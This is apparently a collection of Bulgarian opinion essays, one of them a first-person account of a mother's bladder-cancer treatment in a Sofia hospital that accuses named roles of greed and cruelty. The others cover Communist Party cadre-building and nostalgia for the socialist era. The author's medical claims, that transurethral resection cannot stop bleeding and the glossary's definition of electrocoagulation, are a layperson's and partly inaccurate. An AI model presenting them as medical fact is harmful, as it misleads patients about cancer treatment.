Преди операцията връчват на сина ми с изискване за личния му подпис пакет документи, сред които и такъв за прословутия „Избор на екип“ със съответната изискваща се сума за този „избор“. И младият пациент, несхващащ /но дори и да я беше схванал, какво от това?/ хитринката, разбира се, ги подписва. Естествено, никой не му предлага никакъв „избор“, но той си плаща за това! Непосредствено преди изписването в кратък „диалог“ със злополучната „старша сестра“ попитах защо трябва да плащаме за „избор на екип“, след като такъв никой не ни е предлагал! Сам разбираш, скъпи Читателю /не дай Боже бъдещ пациент/, че сестрата нямаше друг избор, освен да приложи, вбесена от поведението ми, стратегическото „нападението е най-добрата отбрана“:
„Ъ-ъ-ъ…Какво искате…Пациентът е запознат предварително с изискването и е положил подписа си!“
Нямаше и какво друго да отговори! На това му се казва чист рекет и цинизъм! Унизително и срамно е, нали! Дано някога, някой има волята и силата да го промени! И този „някой“ мъдро да съобрази, че „куфарчето“ трудно ще му бъде предложено, ако такива като мен и теб пуснат листче с чуждо, не с неговото име. Ако изобщо поумнее някога избирателят, а и манипулирането на избори остане в историята, /което си е чисто успокоение за невежи!/
Тук си позволявам да направя едно /надявам се уместно/ отклонение, като цитирам древния философ Клод Адриан Хелвеций, живял и творил през втората половина на 18-ти век. Та френският мислител казва по отношение адекватността на закона на обществения интерес, в случай че ако с изменението на интересите на държавата и обществото не се изменят и тези закони, те „непременно трябва да доведат държавата до нейното пропадане“!
Силно се надявам интересите на държавата да не са се променили до степен, игнорираща живота и интересите на нацията ни, а интересите на обществото да не са претърпели такава еволюция, че да са зачеркнали всички човешки ценности, съхраняващи живота ни. Защото в противен случай всички сме обречени на гибел.
В заключение:
„…Не върху почвата на лукса и богатствата, а върху тази на бедността растат най-възвишените добродетели…Всеки, умножил своите нужди, е дал на тиранията залог за низостта и подлостта си. Добродетелта, която се задоволява с малко, единствена е пощадена от покварата. Именно този вид добродетел е подсказал отговорът, който е дал на английския министър един аристократ, отличил се със своите заслуги. Тъй като дворът имал интерес да го привлече в своята партия, Валпол /министър-председател на Англия -18 –ти век/ отишъл да го намери:
„Аз идвам – казал му той, – от страна на краля, за да ви уверя в неговото покровителство и да изразя съжалението, което той изпитва, че още не е направил нищо за вас и да ви предложа един по-подходящ за вашите заслуги пост.“
„Милорд, – отговорил му английският аристократ, – преди да отговоря на вашите предложения, позволете ми да поръчам да ми донесат вечерята и да се храня пред вас.“ В същия момент му поднесли ядене от кълцано месо, подготвено от остатъците на печеното овнешко, което ял на обяд. Тогава, обръщайки се към Валпол, казал:
„Милорд, мислите ли, че човек, който се задоволява с подобна храна, е човек, когото дворът лесно може да спечели? Разкажете на краля това, което видяхте; този е единственият отговор, който мога да дам.“
Изводите от всичко горесподелено, почитаеми Читателю, направи сам!
ПРИЛОЖЕНИЕ
Из „Veneficium Bulgaricus – Сага за Виктория“
ГЛАВА ТРЕТА
„И АЗ НЕ ЗНАЯ КАКВА Е ПРИЧИНАТА!“
„През целия си живот човек
трябва да се учи как да живее,
а още по-удивително е,
че през целия си живот
трябва да се учи как да умре“.
Сенека
Оказва се, че нашият човешки ум е непрактичен. Става престъпно бездеен и подхранва фатално чувството ни за самосъжаление и безпомощност. Така похабява дълбоко заложения у него потенциал за съобразителност, бързо действие, за изискване на отговорности, за споделяне на проблеми и свръхентусиазъм за разрешаването им. Когато чувстваме, че губим близките си, у нас избликва неистова, болезнена необходимост да им помогнем, да ги спасим. И не осъзнаваме, че изкристализира с пълна сила собственото ни невежество, експлоатирано изцяло от субекти, следвали методично консуматорските си нагони.
Със страданията на майка ми и нейната смърт осъзнах гибелната сила на това невежество, демонстрирайки го несъзнателно, когато предоставяме възможност да ни манипулират нечисти души, без да изразяваме нашето негодувание и протест. И се оставяме да ни влече силата на доверието. Животът е доказал, че колкото по-примитивно е едно общество, толкова повече намалява силата на доверието – в човека, в институцията. Нека се запитаме тогава кое човешко същество олицетворява този примитивизъм – това, което е достатъчно дряло и мъдро, готово да гласува някому доверие, или онова, което не се нуждае от него?
Като всички българи с моите близки се доверихме безапелационно на „бялата престилка“. Тази сляпа вяра съкрати многократно живота на майка ми. И нищо не можеше да оправдае степента на нашето невежество. Кой беше виновен? Самите ние, обкръжаващият ни свят, държавата, системата, бита ни, нашата неосведоменост, необразованост! Но можехме ли и трябваше ли всички да нагазим в дебрите на медицината, за да сме сигурни за собственото си здраве?
* * *
Краят на месец март. Денят е скован в убийствен студ, примесен с бръснещ, вледеняващ вятър. В полутъмното и неприветливо подземие за прием на пациенти в УМБАЛ /Университетска многопрофилна болница за активно лечение/ „Александровска“ лъха на застоял, влажен въздух. Стените са отвращаващо мръсни, с наслоени по тях мазни на вид, тъмни петна. Върху някои от вратите на кабинетите има табели с надпис: „Свободен прием“ или „Платен прием“. Всички скамейки са заети от болни, предимно възрастни хора с мътни, отчаяни погледи. Има и правостоящи, пристигнали да търсят лек от далечната провинция. Разговарям с един от тях, пътувал дотук около четири часа и очакващ реда си от цели два часа – повече от оптимист, съхранил доверие към системата. Но няма ред. Никой не знае къде и кога да влезе. На хаоса не издържат по-емоционалните и хвърлят безплодно словесния си гняв в пространството. Никой не обръща внимание на това. „Късметлиите“ все пак чуват името си след безрезултатно обхождане и почукване по вратите.
Тук е и майка ми. Чакала е дълго. Седи смирено, смутена от безразличието на болничния персонал. Държи кофичка кисело мляко и с чувство за вина за нарушаване на странно кои „правила“ тук, се опитва да „обядва“. По същите тези правила недалеч в тъмния ъгъл „обядва“ самотна черна котка, заровена в млъсотии и захвърлени кутии. Виктория е хоспитализирана още вчерашния ден и би трябвало да се ползва с предимство. Но вчера никой не обясни, че редът изисква и преглед при анестезиолог. Иначе щеше да си спести днешната гавра.
Най-накрая анестезиоложката склони да се яви. Пристигна като лъвица – със самочувствие на недосегаем. И беше недосегаема. Влезе и заключи вратата. Болни светкавично окупираха кабинета й. Когато й хрумна, отвори и избирателно „покани“ някои от чакащите. Но очевидно липсваха бременни и инвалиди с предимство. Майка ми беше повече от изтощена и не можеше да чака повече. Пък и нали беше тук по заръката на „лекуващия“ професор, не по своя собствена воля.
Демонстрираният наш „балкански“ стил на работа, властващ във всяка наша институция, никога не ми е допадал, но най-вече от съжаление и съчувствие към майка ми реших да се намеся. Почуках и си позволих да вляза при анестезиоложката без покана, за да обясня ситуацията около хоспитализираната пациентка. С гневен поглед тя ме отпрати веднага навън. След нова „пауза“ изчезна от кабинета и се яви отново със списък на пациенти, който закачи на вратата. Но името на майка ми не фигурираше в него. Това обстоятелство ме изненада. Чакахме повече от два часа, колкото току-що пристигналия от провинцията пациент, с когото беседвах. Майка ми беше и най-възрастната от чакащите. Но това ни най-малко и далеч не беше в нейна полза. Чувството ми за справедливост надделя и се втурнах отново в анестезиологичния кабинет. Лекарката беше отново сама и едва ли очакваше второто ми посещение. Попитах защо Виктория не фигурира в списъка, след като ни изпращат при нея изрично от Урологично отделение, изрично от „лекуващия“ лекар. Случаят беше спешен, пациентката продължаваше да кърви, констатираната хематурия според професора е „фатална“, ако веднага не се предприемат адекватни мерки. Но всички мерки в това болнично заведение бяха толкова „бързи“ и „адекватни“, че ни изправиха на нокти, притеснени не толкова за нашето психическо оцеляване, застрашено от абсурди, колкото за физическото оцеляване на нещастната ни майка.
Последва сцена, която вцепени всички посетители в подземието. Анестезиоложката скочи, вбесена от „нахалството“ми и направи всичко възможно да „приобщи“ към скандала колегите си. При умишлено отворена врата се разрази буря. Нямаше логично обяснение за поведението на лекарката и отношението й към майка ми. Тя набързо се свърза по телефона с дежурната в УРО медицинска сестра и крещейки с фалцет „обясни“ следното:
„Как може тук една луда, която сте изпратили, да ми вдига кръвното!…Професорът й казал, че майка й ще умре, защото ще й изтече кръвта…! Аз си имам достатъчно работа, за да се занимавам с тях…направете нещо!…“
Нищо не разбирах. Нищо не можех да проумея. В една истинска лудница аз се оказах единствената „луда“. Тази жена си позволи да наруши безобразно всички изисквания и правила, всички норми, отнасящи се до лекарска етика и морал, до „лекарска тайна“ и пр., и пр…Крясъците й огласяха цялото подземие, майка ми слушаше всичко това и гледаше като дете…Професорът казал, че тя „ще умре!“…Кресчендото на откачената лекарка проби слуха и на майка ми, и на всички пациенти в подземието.
Това беше чисто престъпление! Подобно поведение беше нагло, цинично, долно и античовешко! Какви ти правила, каква ти лекарска етика, какъв ти морален кодекс, каква ти „Хипократова клетва“! Всичко се срина из основи и за нас, дъщерите на Виктория, които искахме да сторим и невъзможното, за да помогнем и успокоим мама, и за самата нея, която не вярваше на очите и ушите си, защото, макар и възрастна, беше интелигентна, образована за времето си българка, беше свръхетичен и благороден човек и ужасът, който се разигра пред нея, не се вместваше в никакви човешки норми. Та тя просто се възползваше от своето изконно право да търси спасение за здравето и живота си. Да го търси сред личности, които сами бяха избрали трудното поприще, дори бяха се клели да бъдат човеци!
Имаше ли Виктория някаква вина за тоталното опорочаване на системата? Не, не и не! Но тя се оказа потърпевша от самото начало на постлания с мъртви души, неин собствен път към Ада.
…Махнах с ръка и поведохме мама към болничната й стая. След разигралия се цирк изненадващо ни извика самата анестезиоложка, за да ни „обясни“, че в УРО ще предприемат необходимото за пациентката. Озадачи ме бързата промяна в поведението и смекчения й тон. Вероятно си имаше причини за това! Разбрахме ги по-късно.
Преди да напуснем „приемното“ отделение се разигра друг шокилащ епизод. Медицинска служителка изтласка повече от грубо през вратата на един от кабинетите полусляп старик. „Изпращаше“ почти нищо невиждащия пациент към кабинет извън централната болнична сграда, където да направи изследвания. Ругаейки го, че „й губи времето“, му навря енергично в ръцете някакви документи, част от които се разпиляха по пода. И се скри в кабинета си.
Нещастникът се подпря до стената и като безпомощно, наранено зверче отправи към братята си по съдба, присъстващи в подземието, своя отчаян, жалостив, съкрушаващ всяко човешко същество зов за помощ:
„Хора, моля ви се, някой да ми помогне и да ме придружи!…Не мога сам да отида!…Ще ви платя за услугата, само да ми помогнете!…“
Това беше нечувано! Сцената се вряза в съзнанието ми и няма излизане оттам. Случваше се в началото на нов век, в една драпаща за цивилизованост страна от т. н. Европейски съюз, където уж беше държавна политика, но всъщност умело симулирана „специалната“ грижа за „хората с увреждания“, а глобалният свят като че ли се тресеше и бореше за оцеляване на планетата и човечеството. Но каква част от това „човечество“ бяха безпомощният, полусляп старик, кървящата ми майка и всички нещастници, наредени по пейките на болници и клиники, обречени на обида, гняв, цинизъм и гавра? Разбира се, нищожната част от това човечество.
Материалният свят ще погуби духовния. Изричали са го мъдреците на планетата.
„Самото човечество, развивайки се циклично, понастоящем се намира в период на върхов материален прогрес и принизена духовност“ – казва го не някой друг, а един от великите религиозниводачи в непал, натрупал колосални знания за произхода и развитието на човешката цивилизация – Бонпо Лама. Според него „…тялото и особено мозъкът трябва да са съвършени и да са на нивото на неговия дух.“
Може ли човешко същество, лишено от чест, съвест и морал, да владее духовността, онази духовност, за която учени твърдят, че владее и контролира психическата енергия до степен, с каквато древните атланти са изграждали емблематични за древните цивилизации монументи? Колкото и неудачно да изглежда това сравнение, нали именно пак от човешко същество зависи създаването на благоприятна духовна атмосфера, оказваща неоценимото си въздействие върху психиката на всеки човек, имал нещастието да изпадне в позицията на „пациент“, което пък от своя страна оказва положително въздействие върху всяко едно лечение. В този смисъл има ли право да решава или влияе върху живота и здравето на човешко същество друго човешко същество, което провокира смущаваща въпросителна относно нивата на съвършенство на неговия „мозък“ и „дух“?
Нашата медицинска наука и практика в състояние ли е изобщо да датира старта на създаване на подходяща духовна атмосфера и психоклимат, залегнали в отношенията лекар-пациент и играещи съществена, не второстепенна роля в методологията на медицинските грижи и лечение на болния? Какъвто и да се окаже отговорът, ясно е едно – когато се съчетаят непохватен ум и липсата на морал, бедствието е гарантирано.
* * *
Да направим опит за тълкуване на разигралия се екшън в приемното отделение на „Александровска“ през зимата на 2009 г., изводите от което ще илюстрират за пореден път и красноречиво картината на моралните норми и хуманността в българското здравеопазване.
Нашата майка, пациентката Виктория, вече беше хоспитализирана. Всъщност, за дежурната анестезиоложка тя вече е „бита карта“, изконсумирана сума, невместваща се този ден в личните планове и джобове на лекарката. За нея по-съществен актив представляваха другите чакащи пациенти, от които има какво още да се отчете, получи и вземе. Колкото повече, толкова по-доходоносно. А възможностите за всякакви „активи“ трябва да се използват максимално. За анестезиоложката лепнатият на вратата на кабинета й списък вероятно изиграва ролята на морален еквивалент на действията й. Но по-страшното, съдбоносното е, ако тези действия, тези принципи, това поведение са съпричастно и негласно споделяни, а, не дай Боже и провокирани от значимите, влияещите върху дейността на това и подобните нему здравни заведения фактори и висшестоящи в йерархията субекти, които с желязна ръка диктуват и покровителстват неписаните правила.
Анестезиоложката категорично отказа да приеме за консултация изпратената й хоспитализирана пациентка, като, неясно в чий интерес, изкусно скандализира своя отказ. Поведението й с нищо не може да бъде оправдано. Но по-голямата гавра с болната прави „лекуващия“ професор, който я изпраща в приемното отделение в качеството й на вече приета в здравното заведение болна. Защото предишния ден са „пропуснали“ да изпълнят докрай ангажиментите си. Оказва се, че след извършения „пропуск“ Виктория е трябвало да бъде консултирана от дежурен в самото урологично отделение анестезиолог, което на практика не се случва. /По-късно това не се случи и с дежурния пулмолог./ Вероятно това е бил и тайният коз и самооправдание на скандалната анестезиоложка. Друго логично обяснение няма. Но ако лекарката неоснователно отказва да приеме въпросната пациентка, не трябва ли да понесе своето наказание? И изобщо има ли „наказание“ за нарушения и престъпления в българското здравеопазване?…
Когато споделих мнението си с дежурната медицинска сестра, с която се проведе злополучният телефонен разговор, за „предимствата“ на хоспитализираната болна, тя хрисимо се съгласи:
„Да, Вие наистина сте правилно информирана, но явно е станало недоразумение“.
За нещастие „недоразуменията“ се оказаха вклинен принцип в дейността на здравните ни заведения. А по-късно фактите доказват, че всички тези „прегледи“ в приемното отделение са чиста формалност, но поне оправдават възнагражденията на губещите времето си специалисти.
* * *
…Какво пък, нека се изпробват и колегите. Попаднал ни е подходящ обект за експерименти. Загубата не ще да е голяма – жената отдавна е минала 70-те…Унесен в клинични пътеки и бъдещи парични приходи, професорът забравя своята „Хипократова клетва“, ако изобщо помни за нея, ако тя изобщо има някаква стойност и значение. Загърбва всякаква хуманност. По дяволите и клетва, и хуманност!…Тук се открива златоносно поле. Да действаме!…Първа клинична пътека…, втора клинична пътека…,трета клинична пътека – изконсумирани са за седмица. Без свян, без страх, цинично! Резултатът – една негодна, умираща човешка плът!
„Господин професоре, какво се случи, че само за два дена бъбреците престанаха да функционират?“
„…И аз не зная каква е причината!…Госпожо, колко пъти да ви обяснявам – нали спряхме кървенето...-многократно повтаря в кабинета си професорът, вече неудържащ емоциите си. – Спряхме ли го?…Спряхме го!… – вярва си професорът и не признава никаква вина и грешка. – Нали това беше целта?“
Да, на пръв поглед това беше „основната цел“ на професора. Но дали една необмислена транс-уретрална резекция беше най-подходящият, научно-обоснован и изпитан метод за „спиране на кървене“? Не, разбира се. Тя беше добре обмислен експеримент, лишен от всякаква хуманност.
„Добре, г-н професоре, как по принцип се спира това кървене?“
Ученият не беше подготвен за подобен изненадващ и за него може би недопустим, изтърван от устата на „невеж“ човек, въпрос. Разбира се, кървенето по никакъв начин няма да се спре с ТУР /транс-уретрална резекция/. Напротив – създава се възможност за отпушване на тотална инвазия на кръвопотока със светкавично рецидивиращи туморни клетки. Но професорът продължава „обяснението„ си, вече нервно фъфлещ неразбираема за мен медицинска терминология, от която само успях да разбера, че един от начините за хемостаза /кръвоспиране/ е…“с ток“!
„Повърхностно разположените, малки тумори се отстраняват чрез електрокаутеризация с помощта на цистоскоп – пише в медицинската си енциклопедия Робърт ротенберг. -…При екстензивен растеж на силно злокачествен тумор, ангажиращ значителна част от пикочния мехур, се отстранява целия мехур /цистектомия/“
„А Вие как я спряхте, с ток ли?“ – последва наивният ми въпрос.
Очевидно беше, че този диалог и въпросите ми дойдоха „в повече“ на учения и той изгуби самообладание. Защо ще спира кървене с ТУР?…Тук нямаше как да отговори…тук ученият леко се обърка. Констатираният тумор не беше „малък“, не беше и „повърхностен“ с кървящи съдове, изискващи само електрокоагулация. След всички изследвания и диагностицирания, които науката беше напъхала в ума и ръцете му, и които с настървението на лешояд употреби, професорът има наглостта да заяви, че „не предполага, че е толкова голям“!
А защо най-членоразделната му думичка, на която акцентира, беше „ток“? След като извърши ТУР! Е, в крайна сметка туморът се оказва доста голям. Но…“цистектомии на възрастни хора отдавна не се правят“ – беше заключил професорът. Тогава? Какво беше решил, каква беше за него алтернативата? Коя концепция и методика според него беше най-подходящата, обусловена от науката и хуманността?
В този момент вече не разсъждавах трезво, за да попитам учения с цената на какво беше спрял кървенето? Единственият възможен отговор на пропуснатия въпрос: с цената на отравяне на организма и бърз летален изход.
Професорът е в капан, но е изиграл всичките си козове. Резултатът – увредена до смърт пациентка…Къде е отишла онази част от собствената му личност, формирала съзнанието на този човек? Колко дълбоко защитени там са останали категории като личен морал, етика, човеколюбие? Имат ли място в духовното скривалище на професора както клетвата, така и обществените морални норми?Как съжителстват те с амбициите му за успехи и слава? И как се вместват тези амбиции в личния му морален кодекс, в дълга и отговорността за живота на пациента и за собственитехму действия? Или всичко е атрофирало безвъзвратно, щом като си готов с лекота да разрушиш една силна вяра, една необхватна надежда за живот и в крайна сметка физически да досъсипеш за часове този живот, съдбовно орисан на страдание?
Къде остана онова „величие в мисленето, дълбочина в чувствата, силата и последователността в действията, за които копнее преди три века още великият Гьоте?…Или и тук ще съзрем само неловък исторически паралел?…
Другите колеги от лекарската свита „не ме забелязват“ из коридорите на клиниката. Нямат и какво да споделят. Абсурд е да дават информация за състоянието на пациентката и самите „лекуващи“ я лекари. Всичко се върши тайно и на тъмно. И обяснения никому.
„Необходимо е незабавно и публично да признаваме провалите си, без да прикриваме допуснатите грешки. Много по-важно е да се научат фактите от една неуспешна операция, отколкото за дузина успешни“ – пречистващо, но безполезно пренася историята апела на австрийски учен-хирург.
Суетата и ламтежът за пари и слава са обсебили българския професор.
„Аз за две години постигнах много, а ти…? – гордо заявява той в конфликт със свой колега и не къде да е, а по време на визитация пред смутените погледи на пациентите си. Изисква се много „самочувствие“, безочие и наглост, за да декларираш „успехите“ си и да демонстрираш превъзходството си пред по-низш в йерархията в присъствието на хора, гласували и нему същото доверие, едва кретащи във физическото си оцеляване, да забравиш правилата, но и да подцениш подмолните камъни из пътя, по който си поел. Болният се обръща с надежда за изцеление и тази надежда лекарят е длъжен да поддържа винаги. Тесният контакт, основан на пълно доверие на болния към деловите, професионални и морални качества на лекуващия лекар, е един от важните фактори за успешно лечение. До тежки последствия за пациента може да доведат безотговорните слова на лекар не само по отношение на „неизлечими“ болести, но и по адрес на свой събрат в професията. Но остава впечатлението, че някои лекари, в частност професорът, както и анестезиоложката от приемното отделение /а оказа се и по-висшестоящи в тази сфера/третират своите пациенти като немислещи и нечувстващи същества. И изключват, че под нечии злокобен скалпел може да попаднат собствените им майки, синове и дъщери.
…Беше ясно, че част от онова, до което е достигнал с постиженията си австрийският предшественик на професора, „за две години“ той е успял да опропасти исъсипе. И все пак отговор за постигнатите „резултати“ в „лечението“ на виктория вероятно ще даде в научен труд или монография, каквито според негови колеги „дописва“ и доуточнява в служебния си кабинет в миговете между операциите си и затихващите надежди на своите пациенти.
Животът ни е наложил морален императив: „Не убивай невинен! “ Но майка ми не беше невинна. Тя беше живяла повече от 70 години и в това се състоеше вината й. Наистина ли в здравните ни заведения всеки „непривилегирован“ пациент над 70-те е обречен на гибел? Що за общество е нашето? Възможността чрез една възрастна нещастница, по волята на съдбата попаднала в ръцете ти, да осигуриш за себе си и евентуално за службата си няколко хилядарки от НЗОК, до каква степен гарантира на професора напредък в кариерата и израстване в йерархията? Или придобитите в повече материални „активи“, респ. парите и тук са задължителният атрибут за това израстване, наложил се трайно в нашето развитие.
Кои са покровителите, бдящи върху тази схема?
Съвременната медицинска наука и обществото ни биха ли оправдали подобно поведение?
То гарантира на майка ми бързо, ежечасно умъртвяване, което тя понасяше като разпнат Христос. И с вяра в професора и екипа му до последния ден на престоя й в болницата. Природата й в тези дни я беше възнаградила с нужната енергия, оптимизъм, жажда за живот, вяра в доброто и в бъдещето. Преди каквато и да е лекарска намеса я придружавах в разходките й из коридорите на отделението, където тя с притаен дъх и скрита надежда наблюдаваше бавните, отмерени движения на вече оперирани по-млади пациенти. Искаше да бъде смела и силна. Вярваше и на себе си, и на бъдещите й спасители…Един ден пусна внезапно ръката ми, отскубна се от мен и с бързи крачки и изпънато тяло хукна пред мен с някаква детинска жизнерадост, сякаш искаше да каже: „Нищо ми няма…Ще издържа…Ще се оправя…!“
Виктория беше перфектната „пациентка“, изхождайки от характеристиката на латинския произход на този термин – „търпелив“. Беше дарила своето „Аз“ в ръцете, знанията и съвестта на един доказан професионалист, когото моето дълбоко и фатално невежество в първите мигове приемаше като бог, подведена от сияйната му усмивка и светкавично изразена готовност да „помогне“ на болната. Тази негова готовност поражда възхита, дори учудване – как е възможно с широко отворени обятия да приема безусловно /!/ една проблемна онкоболна? Не беше длъжен да стори това.
Но още на секундата професорът си е изградил стратегия – това е подходящият пациент дори и за най-рискованите манипулации, които хирургията може да си позволи. И никой няма да го обвини, ако нещо се провали. А той е достатъчно образован и опитен, за да пресметне майсторски евентуалния риск, от, оказва се, непрепоръчвана за конкретния случай от никой негов колега, операция – Ту ТУР /туморна транс-уретрална резекция/. Но знанията му са достатъчни, за да се довери на своите преценки. И манипулативният му ум е дотолкова перфектен, че промива до дъно, с убедеността на Галилей, приспаните ни мозъци, удавени в собственото си страдание:
„Ще спрем кървенето!“ И благодарните дъщери са трогнати от вниманието. Дълбоко унесени, като в хипнотичен сън…
Кратък речник на медицинските термини:
резекция – метод в хирургията, открит и практикуван от знаменития австрийски хирург Теодор Билрот /A. Th. Billroth/ 1829 – 1894/;
електрокоагулация – слепване на частици, главно в колоидни разтвори, което води до образуване на утайка; мека, полутвърда маса, гел;
инвазивност – способност за проникване и растеж в околните здрави тъкани /което ги руши/, характерна за злокачествените тумори;
Следва продължение!
"
-
Десетото, което ви давам тук от нея е:
"„Партийна“ ретроспекция в компанията на Владимир Кузов и Татов съветник
Поредната ми среща с теб е провокирана от интервю на журналистката Люба Кулезич с ексдепутата от партия „Атака“ и първия осъден /условно/ за педофилия бивш депутат Владимир Кузов, както и с политическия съветник на Тодор Живков – Костадин Чакъров. С настоящите редове споделям и личните си впечатления от прилагане на партийните принципи на „столетницата“, сред които най-важният е кадруването – решаващ и от съществено значение за реализация на „политическата
технология за борба с противника“, както я нарича г-н Чакъров.
Дискриминацията в обществото на социализма, прилагана по отношение на личности с „различна сексуална ориентация“ и превръщането им в мишени по силата на тази „технология“, но и възползвайки се в повечето случаи от тяхната „силна професионална и интелектуална позиция“ /случая с Атанас Свиленов по думите на г-н Чакъров/, е гаранция за успехите в това кадруване. То има за цел БКП да се изгражда само от верни, предани, надеждни кадри. Което обстоятелство я и предпазва в онези години от опасността да бъде обвинен политическия й елит, а и самата БКП в „политически деградирала класа“.
Абсолютно се солидаризирам с изявлението на Костадин Чакъров, че за изграждането на „кариера“ в структурите на БКП в минало време необходимото и най-важно условие е „заемането на низов пост по местоживеене“. Наблюденията върху живота на БКП и последвалите констатации доказват подобно твърдение.
Няма как да се оспори фактът, че БКП имаше в редиците си най-добрите кадри. И както стана ясно, една от причините е: – безкомпромисно високите критерии за членство в нея. Приемаха се най-умните, най-надеждните…, „най-“ във всяко отношение. А създаването на такива кадри е дълъг и сложен процес, технологията за който столетницата беше усъвършенствала до перфектност.
„Култивирането“ на един истински комунист изискваше изключителни предпоставки:
Произход: здрава, „прогресивна“ среда на трудолюбиви, честни, скромни, предани на Партията родители;
Бащата: проповядващ комунистическата идея до смърт, бивш ремсист, ятак, участник в съпротивителното движение фронтовак, основател на ТКЗС;
Майката: ярък симпатизант на БКП, образована, отлична домакиня, съпруга и майка, със строг морал – гаранция за доброто възпитание на бъдещ кадър;
Дядото: активен борец против фашизма и капитализма, раняван септемвриец, беден до просешка тояга, но честен и верен комунист;
Ако отговаряш на тези „критерии“, Партията амбициозно и негласно започва да работи върху твоето „изграждане“: бил си „активист“ още в пионерската организация, ставаш комсомолски секретар в родното си място, дори ставаш „съветник“, макар че все още не разбираш значението на това словосъчетание, изпращат те в партийна школа по „комсомолско строителство“. Без да съзнаваш, някой е след дирите ти през всичките тези години и чака удобния момент, за да те „поеме“. Ако се поддадеш, разбира се! И ако не го сториш веднага, ако не се поддадеш в уречения от тях момент, като станеш светкавично член на БКП единствено съобразно тяхното желание и нужди,…жална ти майка. Ще те преследват, докато могат…
В бъдещи срещи ще ти споделя как точно става това, почитаеми приятелю-Читател!
Бъди здрав и жилав!
"
-
Ето едно друго от нея:
"Два любопитни диалога с новобогаташ и с млад българин – за самочувствието, парите и прехода
Неотдавна бях свидетел на сценка, в която се изумих от желанието на млада българка да скрива националната си принадлежност. Млада жена, почти девойка, придружаваше свой приятел – гост от чужбина, в търговски обект в столицата. По време на покупката на чужденеца тя упорито мълчеше, докато той се мъчеше да обяснява на български какво иска да закупи от магазина. Но без да иска се „издава“, когато обстоятелството наложи спешно да се намеси в разговора между продавачката и клиента й. Лично за мен такова поведение е унизително за самата българка, но тя очевидно не съзнаваше това. Чуждопоклонничеството и липсата на собствен „избор“ във всяко отношение винаги е било във вреда на собствените ни интереси като българи и нация. Първопричините за подобно явление се коренят дълбоко в механизмите за функционирането на държавата и живота на самото българско общество – на традиции, ценностна система, възпитание, приемственост между поколенията и т. н., но тази сложна материя не би могла да бъде вместена тук и не е предмет на разговора ми с теб, почитаеми Читателю. Но със сигурност това поведение доказва повече липсата у младата жена на каквото и да е самочувствие като българка, отколкото присъщото желание на младото поколение да се прави на „интересно“.
За мен любопитство провокира последвалият диалог между собственика на магазина – бързо изкачил се в социалната йерархия новобогаташ, ощетен откъм красноречие, и неговата наемничка-продавачка:
- …Да, ще се крие, защото няма чувството за…
- …за национално самочувствие – помага му продавачката. – Ако го има, то се проявява винаги и навсякъде. А ако не успеем да го съхраним, предаваме и нация, и родина, и родители, а най-вече – себе си.
- Откъде да го има? – риторично вметва „шефът“. – Като 500 години са ни тъпчали турци, а 45 години – комунисти. /Не беше прецизен – още два века са ни тъпчали „византийци“!/бел.ав./
- Има го! Но се придобива чрез възпитание преди всичко. Съществена роля играе и обществената, и семейната среда, и училището… – уточнява продавачката. – Но кой го е грижа за възпитанието на младите в последните години?
- Лишиха ни от всичко…и от това/!/…-расте възмущението на новобогаташа. Нямахме нищо. /Впоследствие дълбоко си противоречеше с твърденията!/
- Така ли? Аз имах. Бях от средната класа.
- Говориш като майка ми. Какво си имала? – „атакува“ шефът.
- Не бях бедна като днес. Имах всичко, което в онзи момент ми е било нужно. И бях спокойна и доволна. А ти ако не си имал, запитай се защо!
- За да си била от средната класа, е трябвало да имаш фабрики, предприятия, бизнес – демонстрира дълбокозаложеното си частнособственическо чувство богаташът. – Нямаше средна класа.
- Не, имаше! – не се предава наемничката. – И живеехме по-човешки. Но ако средната класа се идентифицира според теб чрез наличието на бизнес, то днес ти би трябвало да си от тази класа с твоя бизнес.
- Не, не съм от средната класа…Трябва да имам милиони, за да бъда неин представител. /Ако милионерите в България бяха представители на „средната“ класа, то кои тогава бяха „богаташите“?/ бел. ав./
- Щом като ти не си от нея, то тогава аз от коя съм…аз, продавачката? Днес аз съм на най-ниското стъпало…по-ниско и от него, под „минимума“.
- Трябва да има производство, бизнес…/Тук „шефът“ зацикли в собственото си противоречие. Отрича „онова“ време, отнело ни „всичко“, а се възмущава от днешното, което „нищо не произвежда!“/ А какво се произвежда? Аз предлагам само чужди стоки. Магазинът сякаш не е български.
- Но решението е лично твое. Защо си скрил под щандовете българските вина? Защо предлагаш само 2-3 вида ракии, а всичко останало е чуждо? За да прилича магазинът ти на български, предлагай българското!…Преди имаше и производство, и износ. България дишаше преди всичко с хранително-вкусова промишленост. Сега хрупкаме жилави изкуствени плодове и зеленчуци откъде ли не. А ако се яви нещо „българско“, то чуждата конкуренция, толерирана от собствената ни държава, го смазва с нелоялността си в ценообразуването…
„Бизнесменът“ не беше в състояние да „събеседва“ повече спокойно с наемничката си, отправи й няколко нецензурни реплики и се скри в офиса си. За да скрие може би собственото си чуждопоклонничество и липса на национално самочувствие.
* * *
Диалог между „младостта“ и „старото поколение“
-…Можех да пазарувам за препитанието на семейството си всичко необходимо и онова, което пожелая.
- А какво имаше тогава по магазините? Изброй асортиментите!
- Можех да си купувам хубави дрехи, обувки, козметика.
- Колко хубави? Какви бяха модните критерии тогава? На чужди фирми притежаваше ли нещо?
- Да, носех закупени от Германия /където имах възможност да пътувам/ обувки на „Саламандър“, кожени палта, закупени с валута от Гърция, кожени изделия от Дрезден, Франкфурт на Одер, златни бижута от Москва и Истанбул…Без притеснение купувах на детето си дрехи и храна, …можех всяка година да почивам на Черноморието със семейството си…Още като госпожица притежавах лек автомобил, можех да си го позволя чрез заем с поносими лихви.
- Каква марка? Само от източни страни, нали!
- Да, от източни, но ново производство, не стар, изхвърлен боклук от „западни“ страни!
- Можех да завърша безплатно образованието си, а българската образователна система беше една от най-качествените, особено средното образование, което ни го признаваха и страните с „едрия“ капитал. /А впоследствие обучението на сина ми във ВУЗ гълташе почти всички скромни финансови средства, от които трябваше да се отделя и за битуването ни./ Бях сигурна и законово защитена на работното си място, ползвах се от всички права на гражданин на държавата си. Имах редовен годишен платен отпуск, ползвах болнични, когато здравословното ми състояние го налагаше, ползвах отпуск по майчинство, /добавките за деца продължават да са обидни за всяка нация, имаща претенции за „грижа за младото поколение и децата“.
/Тук въпросите на младежа „оредяват“/
…Бях сигурна и защитена на улицата, поради спецификата на работата си се прибирах вкъщи в малките часове на нощта, без да се притеснявам за живота си, без да се страхувам от грабеж, побой, изнасилване…
